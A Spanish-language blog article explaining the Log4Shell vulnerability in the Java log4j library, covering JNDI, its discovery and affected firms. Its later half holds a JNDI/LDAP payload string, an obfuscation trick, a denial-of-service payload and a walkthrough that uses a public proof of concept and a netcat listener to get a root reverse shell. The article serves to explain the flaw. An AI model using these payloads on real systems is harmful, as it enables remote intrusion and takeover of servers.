LOG4j: Una de las vulnerabilidades más peligrosas de esta década

LOG4j: Una de las vulnerabilidades más peligrosas de esta década

¿Qué es log4j?

Por Fernando Manrique

Log4j es una biblioteca open source que permite a los desarrolladores de software elegir la salida y el nivel de granularidad de los mensajes o logs (logging) a tiempo de ejecución y no a tiempo de compilación. La configuración de salida y granularidad de los mensajes es realizada a tiempo de ejecución mediante el uso de archivos de configuración externos.

Por tanto podríamos decir que es una librería adicional de java que permite a nuestra aplicación mostrar mensajes de lo que sucede en la misma. Gestiona parte de los logs de la propia aplicación y es una de las librerías más usadas hasta la actualidad.

¿Quién mantiene log4j?

Ralph goers seguramente en sus ratos libres y de manera gratuita.

 

¿Cuándo y quién descubrió dicha vulnerabilidad?

Desde que se descubre hasta que se publica la vulnerabilidad pasan 2 semanas.

Esta vulnerabilidad fue descubierta por un trabajador de Alibaba, informado el 24 de noviembre y publicado el día 9 de diciembre.

¿Cuáles han sido las grandes empresas afectadas?

Cisco, Samsung, Tesla, Maincraft, Apple …

¿Como funciona?:

Un atacante sólo tiene que hacer una petición al servidor vulnerable para que quede registrado el payload y este ejecutará código en el sistema remoto.

Una vez registrado, se identifica como una ejecución y carga por medio de LDAP el código malicioso.

log4j interpreta al payload.

 

JNDI:

Es una interfaz de programación (API) que proporciona funcionalidades de nombrado y directorio a las aplicaciones escritas usando Java.

La API JNDI permite escribir código Java que realice operaciones sobre directorios. Es una API uniforme a todos los tipos de servicios de directorios.

JNDI: permite cargar código malicioso de una fuente externa.

Por tanto, capa de JNDI SPI, permite usar los protocolos para hacer una petición y obtener una respuesta, pudiendo usarse para una ejecución remota.

Protocolos más peligrosos que se están usando:

    1. LDAP
        DNS

NOTA: Está desde el año 2016, por tanto la vulnerabilidad ya existía pero no ha sido descubierta hasta esta año.

Curiosidades:

Apple: En el nombre del dispositivo se pone el nombre del propio payload, este será enviado e interpretado en los servidores de apple.

Algunos de los ejemplos por los que se puede pasar el payload:

  1. paquetes de red
  2. secuencia
  3. nombre de dispositivo
  4. formularios

NOTA: casi todo internet es vulnerable a log4shell

 

Esquema de ataque:

Imagen obtenida de: https://www.ipsec.mx/blog/el-ataque-jndi-log4j-y-como-prevenirlo/

Ejecución remota de código:

  1. Como se ejecuta:
    Se necesitará un servidor DNS para analizar las máquinas vulnerables y un servidor LDAP para descargar el código malicioso.
  2. Payload base: &{jndi:ldap://vulnerable.com}
  3. Búsqueda del mismo en los logs: usando la funcionalidad de grep/zgrep

NOTA: El problema es que secpuede ofuscar haciéndolo casi indetectable. El payload se puede ofuscar rápidamente con métodos de ofuscación sencilla.

Ejemplo de ofuscamiento simple:

Separar las letras con ${::-letra}, de manera que siga funcionando.

Denegación de Servicio:

1.- payload:

${${::-${::-$${::-$}}}}

Ejemplo de Explotación: CVE-202144228

>>> clonamos el proyecto:

github: https://github.com/kozmer/log4j-shell-poc.git

➔ mkdir log4j

➔ cd log4j

➔ git clone https://github.com/kozmer/log4j-shell-poc.git

>>> Instalamos docker

docker build -t log4j-shell-poc

docker run –network host log4j-shell-poc

 

En el navegador:

Levanta la aplicación vulnerable, lo que se inserte se registra en el log4j

 

>>> Explotación: descargar e instalar jdk version – 8u202-b08

adaptar el exploit para nuestro path del jdk.

>>> ponemos el servidor de la máquina atacante a la escucha como root y generamos el payload

python3 poc.py –userip [ip de la máquina atacante]  –webport [8080]  –lport [3000]

La siguiente línea  sirve para aceptar la conexión reversa netcat listener:

sudo nc -nvlp 3000

>> Introducir en el input de la máquina vulnerable el payload obtenido, esto nos generará una shell remota a la máquina vulnerable como root:

Cómo siempre digo y no me canso de decir I LOVE CHAMALEON 🙂 #camaleondigital.